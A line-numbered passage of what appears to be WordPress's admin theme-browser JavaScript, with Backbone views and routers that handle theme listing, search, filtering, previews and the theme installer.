1192 self.instance = self.collection.paginate( page );
1193
1194 // If we have no more themes, bail.
1195 if ( self.instance.size() === 0 ) {
1196 // Fire a no-more-themes event.
1197 this.parent.trigger( 'theme:end' );
1198 return;
1199 }
1200
1201 // Make sure the add-new stays at the end.
1202 if ( ! themes.isInstall && page >= 1 ) {
1203 $( '.add-new-theme' ).remove();
1204 }
1205
1206 // Loop through the themes and setup each theme view.
1207 self.instance.each( function( theme ) {
1208 self.theme = new themes.view.Theme({
1209 model: theme,
1210 parent: self
1211 });
1212
1213 // Render the views...
1214 self.theme.render();
1215 // ...and append them to div.themes.
1216 self.$el.append( self.theme.el );
1217
1218 // Binds to theme:expand to show the modal box
1219 // with the theme details.
1220 self.listenTo( self.theme, 'theme:expand', self.expand, self );
1221 });
1222
1223 // 'Add new theme' element shown at the end of the grid.
1224 if ( ! themes.isInstall && themes.data.settings.canInstall ) {
1225 this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' );
1226 }
1227
1228 this.parent.page++;
1229 },
1230
1231 // Grabs current theme and puts it at the beginning of the collection.
1232 currentTheme: function() {
1233 var self = this,
1234 current;
1235
1236 current = self.collection.findWhere({ active: true });
1237
1238 // Move the active theme to the beginning of the collection.
1239 if ( current ) {
1240 self.collection.remove( current );
1241 self.collection.add( current, { at:0 } );
1242 }
1243 },
1244
1245 // Sets current view.
1246 setView: function( view ) {
1247 return view;
1248 },
1249
1250 // Renders the overlay with the ThemeDetails view.
1251 // Uses the current model data.
1252 expand: function( id ) {
1253 var self = this, $card, $modal;
1254
1255 // Set the current theme model.
1256 this.model = self.collection.get( id );
1257
1258 // Trigger a route update for the current model.
1259 themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );
1260
1261 // Sets this.view to 'detail'.
1262 this.setView( 'detail' );
1263 $( 'body' ).addClass( 'modal-open' );
1264
1265 // Set up the theme details view.
1266 this.overlay = new themes.view.Details({
1267 model: self.model
1268 });
1269
1270 this.overlay.render();
1271
1272 if ( this.model.get( 'hasUpdate' ) ) {
1273 $card = $( '[data-slug="' + this.model.id + '"]' );
1274 $modal = $( this.overlay.el );
1275
1276 if ( $card.find( '.updating-message' ).length ) {
1277 $modal.find( '.notice-warning h3' ).remove();
1278 $modal.find( '.notice-warning' )
1279 .removeClass( 'notice-large' )
1280 .addClass( 'updating-message' )
1281 .find( 'p' ).text( wp.updates.l10n.updating );
1282 } else if ( $card.find( '.notice-error' ).length ) {
1283 $modal.find( '.notice-warning' ).remove();
1284 }
1285 }
1286
1287 this.$overlay.html( this.overlay.el );
1288
1289 // Bind to theme:next and theme:previous triggered by the arrow keys.
1290 // Keep track of the current model so we can infer an index position.
1291 this.listenTo( this.overlay, 'theme:next', function() {
1292 // Renders the next theme on the overlay.
1293 self.next( [ self.model.cid ] );
1294
1295 })
1296 .listenTo( this.overlay, 'theme:previous', function() {
1297 // Renders the previous theme on the overlay.
1298 self.previous( [ self.model.cid ] );
1299 });
1300 },
1301
1302 /*
1303 * This method renders the next theme on the overlay modal
1304 * based on the current position in the collection.
1305 *
1306 * @params [model cid]
1307 */
1308 next: function( args ) {
1309 var self = this,
1310 model, nextModel;
1311
1312 // Get the current theme.
1313 model = self.collection.get( args[0] );
1314 // Find the next model within the collection.
1315 nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );
1316
1317 // Confidence check which also serves as a boundary test.
1318 if ( nextModel !== undefined ) {
1319
1320 // We have a new theme...
1321 // Close the overlay.
1322 this.overlay.closeOverlay();
1323
1324 // Trigger a route update for the current model.
1325 self.theme.trigger( 'theme:expand', nextModel.cid );
1326
1327 }
1328 },
1329
1330 /*
1331 * This method renders the previous theme on the overlay modal
1332 * based on the current position in the collection.
1333 *
1334 * @params [model cid]
1335 */
1336 previous: function( args ) {
1337 var self = this,
1338 model, previousModel;
1339
1340 // Get the current theme.
1341 model = self.collection.get( args[0] );
1342 // Find the previous model within the collection.
1343 previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );
1344
1345 if ( previousModel !== undefined ) {
1346
1347 // We have a new theme...
1348 // Close the overlay.
1349 this.overlay.closeOverlay();
1350
1351 // Trigger a route update for the current model.
1352 self.theme.trigger( 'theme:expand', previousModel.cid );
1353
1354 }
1355 },
1356
1357 // Dispatch audible search results feedback message.
1358 announceSearchResults: function( count ) {
1359 if ( 0 === count ) {
1360 wp.a11y.speak( l10n.noThemesFound );
1361 } else {
1362 wp.a11y.speak( l10n.themesFound.replace( '%d', count ) );
1363 }
1364 }
1365});
1366
1367// Search input view controller.
1368themes.view.Search = wp.Backbone.View.extend({
1369
1370 tagName: 'input',
1371 className: 'wp-filter-search',
1372 id: 'wp-filter-search-input',
1373 searching: false,
1374
1375 attributes: {
1376 type: 'search',
1377 'aria-describedby': 'live-search-desc'
1378 },
1379
1380 events: {
1381 'input': 'search',
1382 'keyup': 'search',
1383 'blur': 'pushState'
1384 },
1385
1386 initialize: function( options ) {
1387
1388 this.parent = options.parent;
1389
1390 this.listenTo( this.parent, 'theme:close', function() {
1391 this.searching = false;
1392 } );
1393
1394 },
1395
1396 search: function( event ) {
1397 // Clear on escape.
1398 if ( event.type === 'keyup' && event.which === 27 ) {
1399 event.target.value = '';
1400 }
1401
1402 // Since doSearch is debounced, it will only run when user input comes to a rest.
1403 this.doSearch( event );
1404 },
1405
1406 // Runs a search on the theme collection.
1407 doSearch: function( event ) {
1408 var options = {};
1409
1410 this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) );
1411
1412 // if search is initiated and key is not return.
1413 if ( this.searching && event.which !== 13 ) {
1414 options.replace = true;
1415 } else {
1416 this.searching = true;
1417 }
1418
1419 // Update the URL hash.
1420 if ( event.target.value ) {
1421 themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
1422 } else {
1423 themes.router.navigate( themes.router.baseUrl( '' ) );
1424 }
1425 },
1426
1427 pushState: function( event ) {
1428 var url = themes.router.baseUrl( '' );
1429
1430 if ( event.target.value ) {
1431 url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
1432 }
1433
1434 this.searching = false;
1435 themes.router.navigate( url );
1436
1437 }
1438});
1439
1440/**
1441 * Navigate router.
1442 *
1443 * @since 4.9.0
1444 *
1445 * @param {string} url - URL to navigate to.
1446 * @param {Object} state - State.
1447 * @return {void}
1448 */
1449function navigateRouter( url, state ) {
1450 var router = this;
1451 if ( Backbone.history._hasPushState ) {
1452 Backbone.Router.prototype.navigate.call( router, url, state );
1453 }
1454}
1455
1456// Sets up the routes events for relevant url queries.
1457// Listens to [theme] and [search] params.
1458themes.Router = Backbone.Router.extend({
1459
1460 routes: {
1461 'themes.php?theme=:slug': 'theme',
1462 'themes.php?search=:query': 'search',
1463 'themes.php?s=:query': 'search',
1464 'themes.php': 'themes',
1465 '': 'themes'
1466 },
1467
1468 baseUrl: function( url ) {
1469 return 'themes.php' + url;
1470 },
1471
1472 themePath: '?theme=',
1473 searchPath: '?search=',
1474
1475 search: function( query ) {
1476 $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
1477 },
1478
1479 themes: function() {
1480 $( '.wp-filter-search' ).val( '' );
1481 },
1482
1483 navigate: navigateRouter
1484
1485});
1486
1487// Execute and setup the application.
1488themes.Run = {
1489 init: function() {
1490 // Initializes the blog's theme library view.
1491 // Create a new collection with data.
1492 this.themes = new themes.Collection( themes.data.themes );
1493
1494 // Set up the view.
1495 this.view = new themes.view.Appearance({
1496 collection: this.themes
1497 });
1498
1499 this.render();
1500
1501 // Start debouncing user searches after Backbone.history.start().
1502 this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
1503 },
1504
1505 render: function() {
1506
1507 // Render results.
1508 this.view.render();
1509 this.routes();
1510
1511 if ( Backbone.History.started ) {
1512 Backbone.history.stop();
1513 }
1514 Backbone.history.start({
1515 root: themes.data.settings.adminUrl,
1516 pushState: true,
1517 hashChange: false
1518 });
1519 },
1520
1521 routes: function() {
1522 var self = this;
1523 // Bind to our global thx object
1524 // so that the object is available to sub-views.
1525 themes.router = new themes.Router();
1526
1527 // Handles theme details route event.
1528 themes.router.on( 'route:theme', function( slug ) {
1529 self.view.view.expand( slug );
1530 });
1531
1532 themes.router.on( 'route:themes', function() {
1533 self.themes.doSearch( '' );
1534 self.view.trigger( 'theme:close' );
1535 });
1536
1537 // Handles search route event.
1538 themes.router.on( 'route:search', function() {
1539 $( '.wp-filter-search' ).trigger( 'keyup' );
1540 });
1541
1542 this.extraRoutes();
1543 },
1544
1545 extraRoutes: function() {
1546 return false;
1547 }
1548};
1549
1550// Extend the main Search view.
1551themes.view.InstallerSearch = themes.view.Search.extend({
1552
1553 events: {
1554 'input': 'search',
1555 'keyup': 'search'
1556 },
1557
1558 terms: '',
1559
1560 // Handles Ajax request for searching through themes in public repo.
1561 search: function( event ) {
1562
1563 // Tabbing or reverse tabbing into the search input shouldn't trigger a search.
1564 if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
1565 return;
1566 }
1567
1568 this.collection = this.options.parent.view.collection;
1569
1570 // Clear on escape.
1571 if ( event.type === 'keyup' && event.which === 27 ) {
1572 event.target.value = '';
1573 }
1574
1575 this.doSearch( event.target.value );
1576 },
1577
1578 doSearch: function( value ) {
1579 var request = {};
1580
1581 // Don't do anything if the search terms haven't changed.
1582 if ( this.terms === value ) {
1583 return;
1584 }
1585
1586 // Updates terms with the value passed.
1587 this.terms = value;
1588
1589 request.search = value;
1590
1591 /*
1592 * Intercept an [author] search.
1593 *
1594 * If input value starts with `author:` send a request
1595 * for `author` instead of a regular `search`.
1596 */
1597 if ( value.substring( 0, 7 ) === 'author:' ) {
1598 request.search = '';
1599 request.author = value.slice( 7 );
1600 }
1601
1602 /*
1603 * Intercept a [tag] search.
1604 *
1605 * If input value starts with `tag:` send a request
1606 * for `tag` instead of a regular `search`.
1607 */
1608 if ( value.substring( 0, 4 ) === 'tag:' ) {
1609 request.search = '';
1610 request.tag = [ value.slice( 4 ) ];
1611 }
1612
1613 $( '.filter-links li > a.current' )
1614 .removeClass( 'current' )
1615 .removeAttr( 'aria-current' );
1616
1617 $( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' );
1618 $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
1619
1620 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1621 // or searching the local cache.
1622 this.collection.query( request );
1623
1624 // Set route.
1625 themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
1626 }
1627});
1628
1629themes.view.Installer = themes.view.Appearance.extend({
1630
1631 el: '#wpbody-content .wrap',
1632
1633 // Register events for sorting and filters in theme-navigation.
1634 events: {
1635 'click .filter-links li > a': 'onSort',
1636 'click .theme-filter': 'onFilter',
1637 'click .drawer-toggle': 'moreFilters',
1638 'click .filter-drawer .apply-filters': 'applyFilters',
1639 'click .filter-group [type="checkbox"]': 'addFilter',
1640 'click .filter-drawer .clear-filters': 'clearFilters',
1641 'click .edit-filters': 'backToFilters',
1642 'click .favorites-form-submit' : 'saveUsername',
1643 'keyup #wporg-username-input': 'saveUsername'
1644 },
1645
1646 // Initial render method.
1647 render: function() {
1648 var self = this;
1649
1650 this.search();
1651 this.uploader();
1652
1653 this.collection = new themes.Collection();
1654
1655 // Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
1656 this.listenTo( this, 'theme:end', function() {
1657
1658 // Make sure we are not already loading.
1659 if ( self.collection.loadingThemes ) {
1660 return;
1661 }
1662
1663 // Set loadingThemes to true and bump page instance of currentQuery.
1664 self.collection.loadingThemes = true;
1665 self.collection.currentQuery.page++;
1666
1667 // Use currentQuery.page to build the themes request.
1668 _.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
1669 self.collection.query( self.collection.currentQuery.request );
1670 });
1671
1672 this.listenTo( this.collection, 'query:success', function() {
1673 $( 'body' ).removeClass( 'loading-content' );
1674 $( '.theme-browser' ).find( 'div.error' ).remove();
1675 });
1676
1677 this.listenTo( this.collection, 'query:fail', function() {
1678 $( 'body' ).removeClass( 'loading-content' );
1679 $( '.theme-browser' ).find( 'div.error' ).remove();
1680 $( '.theme-browser' ).find( 'div.themes' ).before( '<div class="notice notice-error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' );
1681 $( '.theme-browser .error .try-again' ).on( 'click', function( e ) {
1682 e.preventDefault();
1683 $( 'input.wp-filter-search' ).trigger( 'input' );
1684 } );
1685 });
1686
1687 if ( this.view ) {
1688 this.view.remove();
1689 }
1690
1691 // Sets up the view and passes the section argument.
1692 this.view = new themes.view.Themes({
1693 collection: this.collection,
1694 parent: this
1695 });
1696
1697 // Reset pagination every time the install view handler is run.
1698 this.page = 0;
1699
1700 // Render and append.
1701 this.$el.find( '.themes' ).remove();
1702 this.view.render();
1703 this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
1704 },
1705
1706 // Handles all the rendering of the public theme directory.
1707 browse: function( section ) {
1708 // Create a new collection with the proper theme data
1709 // for each section.
1710 if ( 'block-themes' === section ) {
1711 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1712 // or searching the local cache.
1713 this.collection.query( { tag: 'full-site-editing' } );
1714 } else {
1715 this.collection.query( { browse: section } );
1716 }
1717 },
1718
1719 // Sorting navigation.
1720 onSort: function( event ) {
1721 var $el = $( event.target ),
1722 sort = $el.data( 'sort' );
1723
1724 event.preventDefault();
1725
1726 $( 'body' ).removeClass( 'filters-applied show-filters' );
1727 $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
1728
1729 // Bail if this is already active.
1730 if ( $el.hasClass( this.activeClass ) ) {
1731 return;
1732 }
1733
1734 this.sort( sort );
1735
1736 // Trigger a router.navigate update.
1737 themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
1738 },
1739
1740 sort: function( sort ) {
1741 this.clearSearch();
1742
1743 // Track sorting so we can restore the correct tab when closing preview.
1744 themes.router.selectedTab = sort;
1745
1746 $( '.filter-links li > a, .theme-filter' )
1747 .removeClass( this.activeClass )
1748 .removeAttr( 'aria-current' );
1749
1750 $( '[data-sort="' + sort + '"]' )
1751 .addClass( this.activeClass )
1752 .attr( 'aria-current', 'page' );
1753
1754 if ( 'favorites' === sort ) {
1755 $( 'body' ).addClass( 'show-favorites-form' );
1756 } else {
1757 $( 'body' ).removeClass( 'show-favorites-form' );
1758 }
1759
1760 this.browse( sort );
1761 },
1762
1763 // Filters and Tags.
1764 onFilter: function( event ) {
1765 var request,
1766 $el = $( event.target ),
1767 filter = $el.data( 'filter' );
1768
1769 // Bail if this is already active.
1770 if ( $el.hasClass( this.activeClass ) ) {
1771 return;
1772 }
1773
1774 $( '.filter-links li > a, .theme-section' )
1775 .removeClass( this.activeClass )
1776 .removeAttr( 'aria-current' );
1777 $el
1778 .addClass( this.activeClass )
1779 .attr( 'aria-current', 'page' );
1780
1781 if ( ! filter ) {
1782 return;
1783 }
1784
1785 // Construct the filter request
1786 // using the default values.
1787 filter = _.union( [ filter, this.filtersChecked() ] );
1788 request = { tag: [ filter ] };
1789
1790 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1791 // or searching the local cache.
1792 this.collection.query( request );
1793 },
1794
1795 // Clicking on a checkbox to add another filter to the request.
1796 addFilter: function() {
1797 this.filtersChecked();
1798 },
1799
1800 // Applying filters triggers a tag request.
1801 applyFilters: function( event ) {
1802 var name,
1803 tags = this.filtersChecked(),
1804 request = { tag: tags },
1805 filteringBy = $( '.filtered-by .tags' );
1806
1807 if ( event ) {
1808 event.preventDefault();
1809 }
1810
1811 if ( ! tags ) {
1812 wp.a11y.speak( l10n.selectFeatureFilter );
1813 return;
1814 }
1815
1816 $( 'body' ).addClass( 'filters-applied' );
1817 $( '.filter-links li > a.current' )
1818 .removeClass( 'current' )
1819 .removeAttr( 'aria-current' );
1820
1821 filteringBy.empty();
1822
1823 _.each( tags, function( tag ) {
1824 name = $( 'label[for="filter-id-' + tag + '"]' ).text();
1825 filteringBy.append( '<span class="tag">' + name + '</span>' );
1826 });
1827
1828 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1829 // or searching the local cache.
1830 this.collection.query( request );
1831 },
1832
1833 // Save the user's WordPress.org username and get his favorite themes.
1834 saveUsername: function ( event ) {
1835 var username = $( '#wporg-username-input' ).val(),
1836 nonce = $( '#wporg-username-nonce' ).val(),
1837 request = { browse: 'favorites', user: username },
1838 that = this;
1839
1840 if ( event ) {
1841 event.preventDefault();
1842 }
1843
1844 // Save username on enter.
1845 if ( event.type === 'keyup' && event.which !== 13 ) {
1846 return;
1847 }
1848
1849 return wp.ajax.send( 'save-wporg-username', {
1850 data: {
1851 _wpnonce: nonce,
1852 username: username
1853 },
1854 success: function () {
1855 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1856 // or searching the local cache.
1857 that.collection.query( request );
1858 }
1859 } );
1860 },
1861
1862 /**
1863 * Get the checked filters.
1864 *
1865 * @return {Array} of tags or false
1866 */
1867 filtersChecked: function() {
1868 var items = $( '.filter-group' ).find( ':checkbox' ),
1869 tags = [];
1870
1871 _.each( items.filter( ':checked' ), function( item ) {
1872 tags.push( $( item ).prop( 'value' ) );
1873 });
1874
1875 // When no filters are checked, restore initial state and return.
1876 if ( tags.length === 0 ) {
1877 $( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
1878 $( '.filter-drawer .clear-filters' ).hide();
1879 $( 'body' ).removeClass( 'filters-applied' );
1880 return false;
1881 }
1882
1883 $( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
1884 $( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );
1885
1886 return tags;
1887 },
1888
1889 activeClass: 'current',
1890
1891 /**
1892 * When users press the "Upload Theme" button, show the upload form in place.
1893 */
1894 uploader: function() {
1895 var uploadViewToggle = $( '.upload-view-toggle' ),
1896 $body = $( document.body );
1897
1898 uploadViewToggle.on( 'click', function() {
1899 // Toggle the upload view.
1900 $body.toggleClass( 'show-upload-view' );
1901 // Toggle the `aria-expanded` button attribute.
1902 uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
1903 });
1904 },
1905
1906 // Toggle the full filters navigation.
1907 moreFilters: function( event ) {
1908 var $body = $( 'body' ),
1909 $toggleButton = $( '.drawer-toggle' );
1910
1911 event.preventDefault();
1912
1913 if ( $body.hasClass( 'filters-applied' ) ) {
1914 return this.backToFilters();
1915 }
1916
1917 this.clearSearch();
1918
1919 themes.router.navigate( themes.router.baseUrl( '' ) );
1920 // Toggle the feature filters view.
1921 $body.toggleClass( 'show-filters' );
1922 // Toggle the `aria-expanded` button attribute.
1923 $toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) );
1924 },
1925
1926 /**
1927 * Clears all the checked filters.
1928 *
1929 * @uses filtersChecked()
1930 */
1931 clearFilters: function( event ) {
1932 var items = $( '.filter-group' ).find( ':checkbox' ),
1933 self = this;
1934
1935 event.preventDefault();
1936
1937 _.each( items.filter( ':checked' ), function( item ) {
1938 $( item ).prop( 'checked', false );
1939 return self.filtersChecked();
1940 });
1941 },
1942
1943 backToFilters: function( event ) {
1944 if ( event ) {
1945 event.preventDefault();
1946 }
1947
1948 $( 'body' ).removeClass( 'filters-applied' );
1949 },
1950
1951 clearSearch: function() {
1952 $( '#wp-filter-search-input').val( '' );
1953 }
1954});
1955
1956themes.InstallerRouter = Backbone.Router.extend({
1957 routes: {
1958 'theme-install.php?theme=:slug': 'preview',
1959 'theme-install.php?browse=:sort': 'sort',
1960 'theme-install.php?search=:query': 'search',
1961 'theme-install.php': 'sort'
1962 },
1963
1964 baseUrl: function( url ) {
1965 return 'theme-install.php' + url;
1966 },
1967
1968 themePath: '?theme=',
1969 browsePath: '?browse=',
1970 searchPath: '?search=',
1971
1972 search: function( query ) {
1973 $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
1974 },
1975
1976 navigate: navigateRouter
1977});
1978
1979
1980themes.RunInstaller = {
1981
1982 init: function() {
1983 // Set up the view.
1984 // Passes the default 'section' as an option.
1985 this.view = new themes.view.Installer({
1986 section: 'popular',
1987 SearchView: themes.view.InstallerSearch
1988 });
1989
1990 // Render results.
1991 this.render();
1992
1993 // Start debouncing user searches after Backbone.history.start().
1994 this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
1995 },
1996
1997 render: function() {
1998
1999 // Render results.
2000 this.view.render();
2001 this.routes();
2002
2003 if ( Backbone.History.started ) {
2004 Backbone.history.stop();
2005 }
2006 Backbone.history.start({
2007 root: themes.data.settings.adminUrl,
2008 pushState: true,
2009 hashChange: false
2010 });
2011 },
2012
2013 routes: function() {
2014 var self = this,
2015 request = {};
2016
2017 // Bind to our global `wp.themes` object
2018 // so that the router is available to sub-views.
2019 themes.router = new themes.InstallerRouter();
2020
2021 // Handles `theme` route event.
2022 // Queries the API for the passed theme slug.
2023 themes.router.on( 'route:preview', function( slug ) {
2024
2025 // Remove existing handlers.
2026 if ( themes.preview ) {
2027 themes.preview.undelegateEvents();
2028 themes.preview.unbind();
2029 }
2030
2031 // If the theme preview is active, set the current theme.
2032 if ( self.view.view.theme && self.view.view.theme.preview ) {
2033 self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } );
2034 self.view.view.theme.preview();
2035 } else {
2036
2037 // Select the theme by slug.
2038 request.theme = slug;
2039 self.view.collection.query( request );
2040 self.view.collection.trigger( 'update' );
2041
2042 // Open the theme preview.
2043 self.view.collection.once( 'query:success', function() {
2044 $( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
2045 });
2046
2047 }
2048 });
2049
2050 /*
2051 * Handles sorting / browsing routes.
2052 * Also handles the root URL triggering a sort request
2053 * for `popular`, the default view.
2054 */
2055 themes.router.on( 'route:sort', function( sort ) {
2056 if ( ! sort ) {
2057 sort = 'popular';
2058 themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } );
2059 }
2060 self.view.sort( sort );
2061
2062 // Close the preview if open.
2063 if ( themes.preview ) {
2064 themes.preview.close();
2065 }
2066 });
2067
2068 // The `search` route event. The router populates the input field.
2069 themes.router.on( 'route:search', function() {
2070 $( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' );
2071 });
2072
2073 this.extraRoutes();
2074 },
2075
2076 extraRoutes: function() {
2077 return false;
2078 }
2079};
2080
2081// Ready...
2082$( function() {
2083 if ( themes.isInstall ) {
2084 themes.RunInstaller.init();
2085 } else {
2086 themes.Run.init();
2087 }
2088
2089 // Update the return param just in time.
2090 $( document.body ).on( 'click', '.load-customize', function() {
2091 var link = $( this ), urlParser = document.createElement( 'a' );
2092 urlParser.href = link.prop( 'href' );
2093 urlParser.search = $.param( _.extend(
2094 wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
2095 {
2096 'return': window.location.href
2097 }
2098 ) );
2099 link.prop( 'href', urlParser.href );
2100 });
2101
2102 $( '.broken-themes .delete-theme' ).on( 'click', function() {
2103 return confirm( _wpThemeSettings.settings.confirmDelete );
2104 });
2105});
2106
2107})( jQuery );
2108
2109// Align theme browser thickbox.
2110jQuery( function($) {
2111 window.tb_position = function() {
2112 var tbWindow = $('#TB_window'),
2113 width = $(window).width(),
2114 H = $(window).height(),
2115 W = ( 1040 < width ) ? 1040 : width,
2116 adminbar_height = 0;
2117
2118 if ( $('#wpadminbar').length ) {
2119 adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
2120 }
2121
2122 if ( tbWindow.length >= 1 ) {
2123 tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
2124 $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
2125 tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
2126 if ( typeof document.body.style.maxWidth !== 'undefined' ) {
2127 tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
2128 }
2129 }
2130 };
2131
2132 $(window).on( 'resize', function(){ tb_position(); });
2133});
2134